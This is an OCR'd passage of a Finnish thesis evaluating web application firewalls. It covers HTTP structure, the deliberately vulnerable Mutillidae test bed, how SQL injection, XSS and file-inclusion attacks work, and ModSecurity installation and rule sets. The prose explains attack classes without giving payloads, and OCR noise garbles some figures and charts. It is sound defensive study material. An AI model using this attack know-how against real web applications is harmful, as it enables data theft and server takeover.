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1 TYON LAHTOKOHDAT

1.1 Toimeksiantaja

Tyon toimeksiantajana toimi JYVSECTEC, joka on kyberturvallisuuden kehittamishan-
ke. Hankkeen tarkoituksena on rakentaa kyberturvallisuuden kehitysymparisto, joka
toimii muun muassa testaus- ja koulutusalustana. Valmis ymparisto havainnollistaa
kyberturvallisuuden toimintamalleja ja tilannesimulointia seka mahdollistaa organi-

saatioiden yhteistyon ymparistossa. (JYVSECTEC 2012.)

Kehitysympariston tydkaluilla on mahdollista tehda laajat laite- ja ohjelmistotestauk-
set aina kokonaisiin jarjestelmatestauksiin asti. Testausmenetelmat antavat organi-
saatioille mahdollisuuden turvalliseen ja syvalliseen testaukseen osana kayttoonot-

toa. (JYVSECTEC 2012.)

1.2 Tavoitteet

Tyon lahtokohtana oli tutustua OSI-mallin 7. kerroksella toimiviin palomuureihin;
muun muassa niiden toimintatapaan, tehokkuuteen, hyodyllisyyteen ja kdyttdonot-
toon. Seka kaupallisista etta avoimen lahdekoodin Web Application Firewall
—ratkaisuista tuli valituksi yksi tuote, joita verrattiin keskenaan. Ainakin toinen tuot-
teista oli tarkoitus rakentaa JYVSECTEC:n kehitysymparistoon. Paaasiallinen tavoite
oli tutkia palomuuriratkaisuiden toimintaa ja kannattavuutta. Taman lisdksi pereh-
dyttiin erilaisiin hyokkaystekniikoihin, joita vastaan WAF toimii. My6s penetraatiotes-
tausta sivuttiin opinnaytety6ssa. Talloin pyrittiin lapdisemaan valittujen tuotteiden

tarjoama suoja.



2 WEB APPLICATION FIREWALL (WAF)

2.1 Yleista

Yli 70 prosenttia hyokkayksistad internetissa kohdistuu OSI-mallin 7. kerrokselle eli
sovelluskerrokselle (application layer). Tall6in hyokkays kohdistuu suoraan ohjelmis-
toon. WAF:it kehitettiin antamaan organisaatioille lisdsuojaa; havaitsemaan ja esta-
maan 7. kerroksen hyokkaykset, ennen kuin ne edes saavuttavat ohjelmistoja. (Mod-

Security n.d.)

Maaliskuussa 2010 julkaistiin Alypda.com-sivuston yli 125 000 kayttijin tietokanta
julkisesti internetissa. Se sisalsi kayttajien tunnukset, salasanat ja sahkopostiosoit-
teet. Monilla Alypdan kayttajilla kayttajatunnus ja salasana saattoi olla sama myés
muihin palveluihin. Tdma johti muun muassa Facebook-tunnusten luvattomaan kayt-
toon. Epaillaan, etta tietokantaan on voitu paasta kasiksi SQL-injektion avulla, mika
on mahdollista puuttuvan tai vaarin tehdyn syottotiedon tarkistuksen vuoksi. Luulta-

vasti tiedot olivat sailotty kaiken lisdksi selvakielisina. (Cert-fi 2010.)

2.2 Toimintaperiaate

WAF voi olla laite, pelkka saantoihin perustuva suodatin tai serveriin asennettava
lisdosa. Sen toiminta perustuu sadntoihin, joiden perusteella hydkkaykset havaitaan.
Saantoja on kuitenkin jatkuvasti paivitettava uusia, mukautettuja hydkkayksia varten.

(OWASP - Web Application Firewall 2012.)

WAF monitoroi ohjelmistoille tulevaa seka tarvittaessa myos ldhtevaa liikennetta.
Liikenteen kaytosta ja loogisuutta tutkitaan kyselyiden ja vastauksien perusteella.
Taten sen on mahdollista estdda myos tuntemattomia uhkia epatavallisien toimintei-
den tai tiettya kaavaa noudattavien hyokkaysten varalta. IPS ei ole kykeneva tulkit-

semaan ohjelmistokerroksen datavirtaa nain laajasti. (McMillan 2009.)



2.3 Tekniikat

WATF toteutetaan verkkoon yleensa valityspalvelimen (reverse proxy) periaatteella
ennen suojattavia ohjelmistoja. Talloin koko verkon liikennetta ei kasitelld, mika an-

taa mahdollisuuden tehokkaalle sovelluskerroksen tutkimiselle. (McMillan 2009.)

Reverse proxy —tekniikkaa hyddynnettaessa WAF:lla on oma IP-osoite, ja kaikki yh-
teydet paattyvat siihen. WAF hoitaa sen jalkeen itse yhteydet web-palvelimiin.
Transparent proxy on toimintatapana samanlainen kuten edelld mainittu reverse
proxy, mutta silla ei ole IP-osoitetta. Talléin WAF on helppo asentaa, kun verkolta ei
vaadita muutoksia. Tosin niin kattavia ominaisuuksia transparent proxy -toteutus ei
kata. 2. kerroksen silta-moodissa (Layer 2 bridge) WAF sijoitetaan myds palomuurin
ja web-palvelimien valiin. Kun WAF toimii kdytannossa kytkimena, se ei vaadi suuria
muutoksia verkolta. Se on myds tehokas, mutta taas ominaisuuksiltaan vajaampi rat-

kaisu. (Beechey 2009.)

Verkon monitorointi —mallissa WAF tarkastelee liikennetta sille maaritetysta portista,
eika sen lapi kulje liikennettd. Kyseessa on lahinna testaukseen tarkoitettu malli,
vaikkakin sen avulla voi myos liikennetta evata. WAF:in voi asentaa myos web-
palvelimen yhteyteen (host based). Talloin palvelimen kuorma kasvaa, mutta vika-
sietoisuus suurenee. Toimintojen maara ei ole myodskadan niin kattava. (Beechey

2009.)

Vuonna 2011 Imperva alkoi tarjota “Cloud WAF” —palvelua. Se tarjoaa suojan muun
muassa ajankohtaisia uhkia ja OWASP Top 10 —uhkia vastaan seka lisda web-sivuston
suorituskykya. Palvelun kdyttoonottokaan ei vaadi ohjelmisto- tai laitteistomuutoksia
— vain nimipalveluosoitteiden muutoksen. (Imperva Releases Cloud-based Web

Application Firewall Service for Mid-Sized Businesses 2011.)



2.4 Virtual patching

Nimitysta “virtuaalipaikkaus” (virtual patching) kaytettiin ensimmaista kertaa IPS-

valmistajien keskuudessa. Se ei ole ominainen termi web-ohjelmistoille, mutta sita
kaytetaan yleensa WAF:ien keskuudessa. My6s muita nimityksia virtuaalipaikkauk-
sesta on kdytetty. Oleellisinta on kuitenkin ymmartaa, mista virtuaalipaikkauksessa

on kysymys. (OWASP - Virtual Patching Best Practices 2011.)

Virtuaalipaikkausta voidaan ajatella turvakerroksena, joka estaa haavoittuvuuden
hyvaksikayton. Liikennevirta kulkee turvakerroksen lapi, joten se kykenee estamaan
haitallisen liikenteen pdaasyn web-ohjelmistolle. Etuna virtuaalipaikkauksessa on, etta
web-sivuston lahdekoodia ei tarvitse muuttaa haavoittuvuuden paikkaamiseksi. Totta
kai myos web-sivuston lahdekoodi tulee korjata, mutta se ei ole aina niin yksinker-

taista. (OWASP - Virtual Patching Best Practices 2011.)

Kaupallisten tuotteiden osalta paikkausta haavoittuvuuteen voidaan joutua odotta-
maan pitkddan. On myds mahdollista, etta kaupallisen tuotteen valmistaja on luopu-
nut tuotteen kehityksesta ja paikkausta haavoittuvuuteen ei ole koskaan edes tulos-
sa. Avoimen lahdekoodin tuotteissa paikkaus voi olla jo saatavilla, mutta haavoittu-
vuuden korjaus vie siitd huolimatta aikansa. (OWASP - Virtual Patching Best Practices

2011.)

Ei ole mitenkaan uutta, etta yritykset siirtavat web-sivuston kehityksen alihankkijalle.
Alihankkija voi olla Suomessa, mutta yksi suosituimmista maista on myos Intia, jossa
tyévoima on halpaa. Haavoittuvuuksien korjaus voi olla hyvin hidasta, kun web-
ohjelmisto on alihankkijan vastuulla. Olen huomannut tdman henkildkohtaisesti joi-
denkin web-sivustojen kohdalla raportoidessani I6ytamiani haavoittuvuuksia, joissa
olen ollut tietoinen alihankkijoiden kadytosta. Korjaukset on saatettu suorittaa kuu-
kausia myéhemmin. Alihankkijoista koituvat kokonaiskustannukset voivat myds yllat-
taa. Nortion kirjoittamasta uutisesta kay ilmi, etta erdassa tapauksessa kustannukset

olivat Intiassa suuremmat huonon tyénlaadun vuoksi kuin Suomessa. (Nortio 2012.)
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3 OWASP

OWASP-saatio perustettiin joulukuussa 2001. Sen tarkoituksena on edesauttaa orga-
nisaatioiden turvallista ohjelmakehitystd, ohjelmien hankkimista ja kayttoa seka ylla-
pitoa. OWASP tarjoaa tukea ilmaisten tyokalujen, dokumenttien ja keskustelualuei-

den muodossa, mitka ovat kaikkien kaytossa. (OWASP - About The Open Web Appli-

cation Security Project 2013.)

OWASP ei ole kaupallinen saatio, joten se kykenee tarjoamaan puolueettomia, kay-
tannollisia ja taloudellisia kdaytanteita ohjelmistoturvallisuuteen liittyen. Tama takaa
myo0s saatiolle pitkaikaisen toiminnan, kun tarkeinta ei ole raha, vaan tiedon jakami-
nen ja opastus siita kiinnostuneille. (OWASP - About The Open Web Application Secu-
rity Project 2013.)

OWASP Top 10:n avulla on tarkoitus tunnistaa kaikki kriittisimmat riskit, joita organi-
saatiolla voi olla web-ohjelmistoissa. OWASP Top 10 julkaistiin ensimmaisen kerran
vuonna 2003, mika jalkeen sita on paivitetty vuosien varrella aina sen mukaan, miten
riskit muuttuvat. Kyseessa ei ole vain ohjelmistoturvallisuusprojekti, vaan silla pyri-
tdan saamaan tietoturva osaksi koulutusta aina tyokaluihin asti. (OWASP — OWASP
Top 10 2012.) OWASP Top 10:n sisdlto on luettavissa liitteessa 1 ja viimeisimmat

muutokset liitteessa 2.
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4 TIETOTURVAMALLIT

Tietoturvamalleja on kahdenlaisia: Positiivinen ja negatiivinen tietoturvamalli. Ne
ovat kaytokseltaan hyvin erilaisia, mutta rakenteeltaan samanlaisia. Molemmat tieto-
turvamallit kuitenkin pohjautuvat ennalta maarattyihin sdantoihin. (Murphy, A. &

Salchow, K 2007.)

Positiivisen tietoturvamallin ideana on hyvadksya vain liikenne, jonka se tuntee. Kun
tietoturvamalliin lisatdan uusi sdantod, kasvaa tunnetun lilkkenteen maara ja taten hy-
vaksymisaste. Jos saantoja ei ole ollenkaan, ei liikennetta hyvaksyta ollenkaan.

(Murphy, A. & Salchow, K 2007.)

Negatiivinen tietoturvamalli taas hyvaksyy liikenteen, jota se ei tunnista haitalliseksi.
Talloin saantojen lisdyksella saadaan muutettua hyvaksytyn liikenteen maaraa tiu-
kemmaksi. Iman saantoja, mitdan estotoimia ei suoriteta. Liikennetta verrataan tun-
nettuihin kaavoihin, joita esiintyy hyokkayksissa. Taiman perusteella tehdaan paatos,
onko liikkenne turvallista paastdaa eteenpdin. Negatiivisessa tietoturvamallissa ei oteta
kantaa ohjelmiston toimintaan. Vain haitalliset piirteet liikenteessa huomioidaan.

(Murphy, A. & Salchow, K 2007.)

Tietoturvamallien paremmuudesta on eri mielipiteita. Yleensa molempien tietotur-
vamallien puolestapuhujat ovat oikeassa. Teoreettisesti. Kdytdannossa hyva tietoturva
on negatiivisen ja positiivisen tietoturvamallin vdlissa. Molemmat toimivat tall6in
yhdessa. Kun positiivisen tietoturvamallin puolta I6ysennetdan esimerkiksi uusien
ohjelmien vuoksi, kiristetadn negatiivisen tietoturvamallin puolta. Kumpikaan tieto-
turvamalli ei yksistdan voi tarjota parasta ratkaisua kaikkiin tilanteisiin. Ottaen huo-
mioon kayttotarkoituksen ja vaatimukset, on molempien tietoturvamallien avulla
mahdollista maarittaa toimiva kokonaisuus teorian ja kdytannon valilta. (Murphy, A.

& Salchow, K 2007.)



12

5 HTTP-PROTOKOLLA

5.1 Yleista

HTTP-protokolla (The Hypertext Transfer Protocol) on OSI-mallin sovelluskerroksella
(7. kerros) toimiva protokolla, joka on ollut WWW:n (World Wide Web) kaytdssa jo
vuodesta 1990. Se hyodyntaa liikennointiin TCP/IP-protokollaa oletusportin ollessa
80. Myo6s muutkin luotettavat protokollat kayvat HTTP:n alustaksi. HTTP:n toiminta
on kaytannossa kyselya asiakkaan toimesta ja vastailua palvelimen toimesta.

(Hypertext Transfer Protocol — HTTP/1.1 — Overall Operation 1999.)

5.2 HTTP-pyyntd

Kuviossa 1 on esiteltyna HTTP-pyynnon rakenne. Kokonaisuutena pyynté muodostuu
otsakkeesta (Request Headers) ja sisdllosta (Request Message Body), joista sisalto ei
ole pakollinen. Myo6skaan otsakkeen kaikki tiedot eivat ole pakollisia. (Hock-Chuan
2009). Jotta otsakkeen eri osat tunnistetaan, ne erotellaan SP-merkein (Space). Rivin
paattymistd kuvataan CRLF-merkein (Carriage Return/Line Feed). (Hypertext
Transfer Protocol — HTTP/1.1 — Request 1999.)

Request Line <=  hhhhhhhhhhhhhh
" hhhhhhhhhhhhhh Request Message Header

Request Headers . hhhhhhhhhhhhhh

— Separated by a blank line

bbbbbbbbbbbbbb |

bbbbbbbbbbbbbb

bbhbbbbbbbbbbbh Request Message Body (optional)
bbbbbbbbbbbbbb

bbbbbbbbbbbbbb

HTTP Request Message
KUVIO 1. HTTP-pyyntd (Hock-Chuan 2009)
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Kuviossa 2 on esitetty HTTP-pyynt6 erddlle Googlen sivulle. Ensimmaisena on Re-
guest-Line, joka koostuu seuraavasti:

Request-Line = Method SP Request-URI SP HTTP-Version CRLF

GET /intl/fi/about/ HTTP/1.1

“ Follow TCP Stream

Stream Content

GET /intl/fi/about/ HTTP/1.1

Host: www.google. i

User-Agent: Mozilla/5.0 (Windows NT 6.1; wowe4; rv:17.0) Gecko/20100101 Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;g=0.8
Accept-Language: en-Us,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

KUVIO 2. HTTP-pyyntd Googlen palvelimelle

Kaytettyna tapana lahettaa pyynto serverille on GET. Muita vaihtoehtoisia tapoja on
esimerkiksi POST tai HEAD (Hypertext Transfer Protocol — HTTP/1.1 — Method Defini-
tions). Seuraavana on pyydetty kohde (Request-URI) ja kdytetty HTTP-versio. HTTP-
pyynnon Request headers —osa muodostaa loppuosan otsakekentasta, jotka ovat

kuvion 2 pyynndssa seuraavat:

Host: www.google.fi

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101
Firefox/17.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Host-kentdssa on pyydetyn sivuston tarjoaja. Loppu otsakkeesta koostuu muun mu-
assa kaytetysta selaimesta ja siita, millaista sisaltoa hyvaksytaan takaisin palvelimel-

ta. (Hypertext Transfer Protocol — HTTP/1.1 — Request 1999.) Kuvion 2 pyynndssa ei

ole sisaltoa.



14

5.3 HTTP-vastaus

HTTP-vastaus on rakenteeltaan hyvinkin samankaltainen kuin HTTP-pyynt6. Kuviossa
3 on esitelty sen rakenne. Vastaus sisaltdad myos otsakkeen (Response Headers) ja
sisallon (Response Message Body). Kuviossa 4 on Googlen palvelimen vastaus kuvi-

ossa 2 esitettyyn pyyntdon.

Status Line <~ hhhhhhhhhhhhhh
 hhhhhhhhhhhhhh Response Message Header

Response Headers | |\ 44 hhhhhhhh

- Separated by a blank line
bbbbbbbbbbbbbb
bbbbbbbbbbbbbb
bbbbbbbbbbbbbb Response Message Body (optional)
bbbbbbbbbbbbbb
bbbbbbbbbbbbbb

HTTP Response Message
KUVIO 3. HTTP-vastaus (Hock-Chuan 2009)

ﬁ Follow TCP Stream

Stream Content

HTTP,/1.1 200 OK

vary: Accept-encoding|
Content-Encoding: gzip

Content-Type: text,/html

Last-Modified: Fri, 07 Dec 2012 14:53:33 GMT
Date: Tue, 18 Dec 2012 10:55:22 GMT
Expires: Tue, 18 Dec 2012 10:55:22 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
server: sffe

Content-Length: 3056

¥X-Xs55-Protection: 1; mode=block

KUVIO 4. HTTP-vastaus Googlen palvelimelta

Status-Line = HTTP-Version SP Status-Code SP Reason-Phrase CRLF

HTTP/1.1 200 OK
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Ensimmainen osa HTTP-vastausta on Status-Line, joka ilmoittaa HTTP:n protokolla-
version, numeerisen tilakoodin ja tilakoodia vastaavan tekstiselityksen takaisin asiak-
kaalle. Loput otsaketiedot ilmoittavat muun muassa web-palvelinohjelmiston ja etta
vastaus on jo valmiiksi erdantynyt. (Hypertext Transfer Protocol — HTTP/1.1 — Res-

ponse 1999.)

Jos sivustolla kdydaan uudelleen, eika selaimen valimuistia ole tyhjennetty, antaa
Googlen palvelin vastaukseksi “304 Not Modified”, ilmoittaen sivuston pysyneen sa-
mana sitten viime kdynnin. Tahan hyodynnetdan kuviossa 4 olevaa ”Last-Modified”
—arvoa. Vastauksen mukana ei laheteta sisaltoa uudelleen, vaan se ladataan selaimen
valimuistista, jolloin sadstytdan turhalta liikennoéinnilta. (HTTP Caching. n.d.) Kuviossa

5 on esitettynd Googlen palvelimen vastaus, kun sivu on vastaava kuin valimuistissa.

HTTP,/1.1 304 Not Modified

Date: Tue, 18 Dec 2012 11:17:04 GwT
Expires: Tue, 18 Dec 2012 11:17:04 GMT
Cache-Control: public, max-age=0
¥-Content-Type-Options: nosniff
Server: sffe

X-¥55-Protection: 1; mode=block

KUVIO 5. Googlen palvelimen vastaus toistamiseen

5.4 Muuta

HTTP-protokollan rakenne on hyva tuntea, silla edella mainittuja pyyntdja ja vastauk-
sia WAF tulkitsee hyokkayksien estamiseksi. Hyokkadamiseen kdytetyt parametrit voi-
daan sijoittaa kehyksessa myos otsakkeisiin eika vain sisaltoon. Talldin ei riita, etta
pelkka sisaltdosio luettaisiin. Myohemmin suoritettavissa hyokkayksissa hyddynne-
taankin koko HTTP-kehysta paremman lopputuloksen saamiseksi hyokkaajan nako-

kulmasta.
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6 TESTAUSYMPARISTO

6.1 Mutillidae

Yhtena tarkedna osa-alueena on testausymparistd, jolla on mahdollisuus havainnol-
listaa seka testata WAF:ien toimivuus haavoittuvassa ymparistossa. Internet tarjoaa

valtavasti helppokayttdisid, haavoittuvia alustoja tietoturvasta kiinnostuneille.

Mutillidae on avoimeen lahdekoodiin perustuva web-ohjelmisto, joka sisaltaa lukui-
sia haavoittuvuuksia. Sen avulla haavoittuvuuksien paikantaminen on helppoa ja hy-
vin opettavaista. Mutillidae on helppo asentaa ja se toimii sekda Windows- etta Linux-
kayttojarjestelmilld. Koska kyseessa on nimenomaan haavoittuvaksi tehty ohjelmisto,
ei sitd pida ajaa tuotantoverkossa, vaan eristettyna sisdverkossa. (Mutillidae n.d.)

Kuviossa 6 on esitelty Mutillidaen kayttoliittymaa.

% NOWASP (Mutillidae): Hack Like You Mean It

Version: 2.3.10 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data Hide Popup Hints Enforce S5L

Core Controls

uwnSPTop 10 Mutillidae: Deliberately Vulnerable
."..Ls PHP Scripts Of OWASP Top 10

Latest Version / Installation

Documentatlon
Latest Version

Installation Instructions

Usage Instructions

Getrid of those pesky PHP errors

Change Log

Notes

Hints: "mutillidae-test-scripts.txt" file in the documentation directory

Ilesources

.- & & & s 0w

Py Y

Site hacked...err...quality-tested
with Samurai WTF, Backitrack,
Firefox, Burp-Suite, Netcat, and

KUVIO 6. Mutillidaen kayttoliittyma

Samurai WTF and Backtrack contains all the tools needed or you may build
your own collection
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6.2 Hyoédynnettdvat haavoittuvuudet

WAF:ien toimintaa tarkasteltaessa hyodynnetdan yleisia web-ohjelmistoihin kaytet-
tavia hyokkayksia: SQL-injektio, Cross-Site Scripting ja Local File Inclusion. Kaikki
hyokkaykset suoritetaan W3af-ohjelmistolla, joka on penetraatiotestaukseen kehitet-
ty tyokalu. Apuna kaytetaan myos Burp Suite —tydkalua. SQL-injektiossa ajetaan tar-

kemmat skannaukset Sqlmap-ohjelmalla.

6.2.1 SQl-injektio

SQL-injektio on mahdollinen, kun tietokantapalvelimelle lahetettavaa dataa ei tarkis-
teta. Kun haavoittuvuus on paikannettu, voi SQL-komentoja yhdistaa ja taten saada
haltuunsa arkaluonteista materiaalia suoraan web-ohjelmiston avulla. Joissain ta-
pauksissa SQL-komentojen avulla voi suorittaa myos kayttojarjestelman komentoja.
(Imperva — SQL Injection. n.d.) Kuviossa 7 on ndhtavissa Impervan kerdamaa tilasto-

tietoa SQL-injektiohyokkayksista.

70000
60000
50000 -+
2
u 40000 -
£
L]
=
g 30000
=
20000 -+
10000 - I
n T T T T T T 1
lune July August September  October  November

KUVIO 7. SQL-injektioiden maara heindkuusta marraskuun vuonna 2011. (Imperva —
Web Application Attack Report Edition #2.)
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6.2.2 Cross Site Scripting (XSS)

Cross-Site Scripting —hyokkayksilla (XSS) ei pyritda hyokkdaamaan serverille, vaan kayt-
tdjan selaimeen, jossa ohjelmakoodia myds suoritetaan. Haitallinen ohjelmakoodi
lisataan jollekin web-sivulle, josta kdyttdjien selain lataa koodin ja suorittaa sen. Kos-
ka selain kuvittelee haitallisen ohjelmakoodin olevan luotettavaa, silla on paasy evas-
teisiin, istunnon tiedostoihin seka muuhun arkaluontoiseen dataan, jota kyseinen
sivusto kasittelee kadyttajan kanssa. (Imperva — Web Application Attack Report Editi-

on #2.) Kuviossa 8 on ndhtavissa Impervan kerdamaa tilastotietoa XSS-

injektiohyokkayksista
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KUVIO 8. XSS-hyokkadyksien maara heindkuusta marraskuuhun vuonna 2011. (Imper-
va — Web Application Attack Report Edition #2.)
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6.2.3 File Inclusion

Remote File Inclusion —hyokkadystapaa (RFI) kdytetdan web-ohjelmistoissa, jotka pyy-
tavat kayttajan toimenpiteita esimerkiksi URL-osoitteen tai parametrin valintaan,
mutta pyydettya dataa ei vahvisteta. Hyokkaaja voi taten sisallyttaa pyyntéon ulkoi-
sen tiedoston, jonka avulla haitallista ohjelmakoodia suoritetaan palvelimella. Pa-
himmassa tapauksessa tama mahdollistaa sen, etta hyokkaaja ottaa haltuun koko
palvelimen. (Imperva — Hacker Intelligence Initiative, Monthly Trend Report #1.
2011.) Kuviossa 9 on nahtdvissa Impervan kerdaamaa tilastotietoa RFI-

injektiohyokkayksista

40000

35000

30000

25000

20000

15000
10000
SEBREE
0 . T T T . .

lune July August September  October  November

# RFI attacks

KUVIO 9. RFI-hyokkadyksien maara heindkuusta marraskuuhun vuonna 2011. (Imperva
— Web Application Attack Report Edition #2.)
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Local File Inclusion —hydkkays (LFI) on hyvin samanlainen ulosanniltaan kuin RFI-
hyokkays, mutta se sisallyttaa palvelimen omia tiedostoja haavoittuvuudessa. Vaik-
kakin RFI-hyokkaykset ovat yksinkertaisempia suorittaa, pyrkivat hyokkaajat kaytta-
maan LFI-hyokkaysta. Tahan on syyna PHP-ohjelmointikielen version 5.2 muutos,
joka oletuksena ei enaa salli etdalta tapahtuvaa tiedoston sisallytysta. Noin 10 % pal-
velimista enda hyddyntaa vanhempaa versiota PHP:sta. (Imperva — Remote and Local
File Inclusion Vulnerabilities 101 2012.) Kuviossa 10 on nahtavissa Impervan keraa-

maa tilastotietoa LFl-injektiohydkkayksista

120000

100000

80000

60000

# LFl attacks

40000

20000 II
m H H B B B
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KUVIO 10. LFI-hyokkayksien maara heindkuusta marraskuuhun vuonna 2011. (Imper-
va — Web Application Attack Report Edition #2.)



21

7 TUOTTEIDEN VALINTA

Varsinaisia valintaperusteita WAF-tuotteille toimeksiantaja ei antanut, joten valinta
tehtiin saatavuuden, ajantasaisuuden, mutta toki myds ominaisuuksien perusteella.

Testattavaksi valittiin yksi avoimen lahdekoodin seka yksi kaupallinen tuote.

Avoimen ldhdekoodin tuotteista valittiin ModSecurity sen jatkuvan kehityksen, do-
kumentoinnin ja ohjelmistotuen puolesta. Muita vaihtoehtoja olivat muun muassa
Naxsi, joka toimii vain Nginx-ohjelmiston kanssa seka Ironbee, joka on viela kehitys-

asteella.

Ironbee on ModSecurityn perustajan, lvan Risticin, uusin projekti. Talla han pyrkii
menemaan vield pidemmalle kehityksen suhteen kuin mita ModSecurity tarjoaa. (Ris-

tic 2011.) Ensisilmaykselld Ironbeen projekti vaikutti hyvinkin mielenkiintoiselta.

Kaupallisten tuotteiden kohdalla mietittiin vaihtoehtoja, joissa kyseinen tuote voi-
daan asentaa virtuaalikoneeseen itsendisesti. Yleensa tallaisissa hankinnoissa ollaan
vhteydessa tuotteen valmistajiin, joiden kanssa valitaan sopivin vaihtoehto tarpeiden
mukaan. Alustavia valintoja olivat Trustware Webdefend, Riverbed Stingray ja
Impervan SecureSphere Web Application Firewall. Kaikista tuotteista [0ytyi virtuaali-
nen versio. Loppujen lopuksi kaupalliseksi tuotteeksi tuli kuitenkin F5:n BIG-IP ASM,

jonka saatavuus Suomesta oli suhteellisen hyva verrattuna muihin tuotteisiin.
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8 MODSECURITY

8.1 Yleista

Vuonna 2002 julkaistiin ModSecurityn ensimmainen versio, joka lahti liikkeelle har-
rastusprojektista. Kuten ohjelmistoprojektien kanssa aina kay, vei myos ModSecuri-
tyn saaminen kdytettavaan kuntoon vield kuukausia julkaisupdivan jalkeen. Ohjelma
sai tuulta alleen ja alkoi nousta tietoturvapiireissa tietoisuuteen. Forrest Research
testasi eri WAF-tuotteita vuonna 2006. ModSecurity parjasi testeissa erittain hyvin.
Pian taman jalkeen Breach Security kiinnostui ModSecuritysta ja osti yrityksen Ivan
Risticilta. Loppuvuodesta 2006 koko ohjelmisto kirjoitettiin uusiksi ja versionumerok-

si tuli 2.0. (Ristic 2012. ModSecurity Handbook.)

Tutustuttaessa eri avoimen lahdekoodin vaihtoehtoihin, osoitti ModSecurity olevan-

sa kypsimpia WAF-ohjelmistoja, joita on tarjolla avoimen lahdekoodin tuotteista.

8.2 Ominaisuudet

ModSecurityn ollessa avointa lahdekoodia ovat sen muokkausmahdollisuudet hyvin
laajat. Tosin tama vaatii omistautumista ja aikaa. Alla on lueteltuna tarkeimpia omi-

naisuuksia:

e HTTP-liikennevirran seuranta reaaliaikaisesti ja sen tutkintamahdollisuus.

e "Virtuaalipaikkaus”, joka mahdollistaa haavoittuvuuden korjaamisen ilman,
ettd ohjelmaan itse tarvitsee koskea. Virtuaalipaikkausta voi hyodyntaa useilla
protokollilla, mutta parhaiten HTTP:n kanssa sen hyvan liikennevirran tunte-
misen vuoksi. Virtuaalipaikkaus ei vaadi isoja investointeja, on helppo suorit-
taa ja hyodyt nakyvat heti.

e HTTP-liikenteen kirjaaminen tietoturvatarkoituksiin on hyvin vahaista web-
palvelimissa. ModSecurity mahdollistaa lokien kirjaamisen aina raakadatasta

lahtien.
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e Jatkuva passiivinen tietoturvan arviointi, joka reaaliaikaisesti monitoroi itse
jarjestelmaa. Sen avulla on mahdollista tunnistaa poikkeavuudet ja heikkou-
det jarjestelmassa, ennen kuin on liilan myodhaista. Web-ohjelmien kovettamisel-
la voidaan jo ennaltaehkaista hyokkayksia vahentamalla HTTP-protokollan hyvaksyt-

tdvida ominaisuuksia, kuten pyyntotapoja ja —otsikoita.

(Ristic 2012. ModSecurity Handbook.)

8.3 Saannot

ModSecurityn toiminta perustuu ennalta maaritettyihin saantoéihin. Saantéja ei ole
valmiina ohjelmistossa, vaan ne ladattava ja otettava kayttoon. Saantopaketteja on
kaksi erilaista: Avoimen lahdekoodin OWASP ModSecurity Core Rules Set (CRS) ja
kaupallinen Trustwaren yllapitama saantdpaketti. (ModSecurity Rules and Support
Services n.d.) Molempia paketteja yllapitaa Trustware Spiderlabs (OWASP
ModSecurity Core Rule Set Project 2012).

Saannot kattavat haavoittuvuudet kategorioittain, kuten SQL-injektiot ja XSS-
haavoittuvuudet. OWASP:n CRS-paketti takaa hyvan perus suojan hyodkkayksien ha-
vaitsemiselle ja estamiselle. Se ei kuitenkaan kykene torjua jatkuvalla sy6to6lla tulevia,
erityisesti muodostettuja hyokkayksia. Naita hyokkayksia vastaan Trustwave yllapitaa
kaupallista sdantolistaansa, jonka tarkkuus on CRS-pakettia parempi. Tarkkuuden
lisddntyessa myos “false-positivien” maara vahenee. (ModSecurity Rules and Support

Services n.d.)

8.4 Kayttoonotto
8.4.1 Asennus

ModSecurity asennetaan web-palvelimen (Apache) yhteyteen, jonka kadyttojarjestel-
mana toimii Ubuntu 12.10. Asennusalusta on virtualisoitu VMware-ohjelmistolla,
joka on yhteensopiva myos toimeksiantajan jarjestelmaan, johon toteutus myéhem-

min tulee. Kuviossa 11 on esitelty Ubuntu-kayttdjarjestelman asennusprosessia.
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| Loading additional components |

Retrieving libcG-udehb

KUVIO 11. Ubuntu-kayttojarjestelman asennus

Apache asennetaan suoraa Ubuntun ohjelmavarastosta (repository). Viimeisin sielta
|6ytyva versio on 2.2.22, jossa on paikattu kaikki tarkeimmat haavoittuvuudet

(Apache httpd 2.2 vulnerabilities).

ModSecurityn asennus suoritetaan suoraan lahdekoodeista, koska Ubuntun paket-
tienhallinnassa ei ole vield viimeisinta versiota ohjelmasta. Jotta varmistutaan asen-
nuspaketin eheydesta ja siita, etta sita ei ole muokattu sen teon jalkeen, tarkastetaan

paketin allekirjoitus. Kuviossa 12 on esitelty allekirjoituksen tarkistus.

¥ modsec@ubuntu: ~

KUVIO 12. ModSecurity-asennuspaketin allekirjoituksen tarkistus
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Asennusta varten ModSecurity tarvitsee seuraavat riippuvuudet: automake, g++,
apache2-threaded-dev, dpkg-dev, libxml2, pkg-config, libxmlI2-dev, libcurl4-openssl-
dev ja liblua5.1-dev. Osa asennettavista riippuvuuksista on valinnaisia, mutta tarpeel-
lisia esimerkiksi monimutkaisempia sdaantoja kirjoittaessa. Riippuvuudet asennetaan
Ubuntun pakettienhallintajarjestelmalla, apt-get:lla. ModSecurityn kdadantamisen ja
asennuksen jalkeen Apache tarvitsee konfiguroida kdyttamaan ModSecuritya. Enda

vuorossa on vain saantdjen lataus ja muokkaus.

8.4.2 Core Rules Set (CRS)

Pelkka ModSecurity ei siis tarjoa turvaa ilman saantéja. Kaikki saannot ovat kommen-
toitu hyvin tekijoiden toimesta, jotta niiden ymmartaminen ja muokkaaminen olisi
helppoa yllapitdjille. Core Rules Set —paketista otettiin kdyttoon base rules

—o0sio, joka sisdltdaa seuraavat saannot:

modsecurity_crs_20_protocol_violations.conf
modsecurity_crs_21_protocol_anomalies.conf
modsecurity_crs_23_request_limits.conf
modsecurity_crs_30_http_policy.conf
modsecurity_crs_35 bad_robots.conf
modsecurity_crs_40_generic_attacks.conf
modsecurity_crs_41 sql_injection_attacks.conf
modsecurity_crs_41 xss_attacks.conf
modsecurity_crs_42 tight_security.conf
modsecurity_crs_45 trojans.conf
modsecurity_crs_47 common_exceptions.conf
modsecurity_crs_49 inbound_blocking.conf
modsecurity_crs_50_outbound.conf
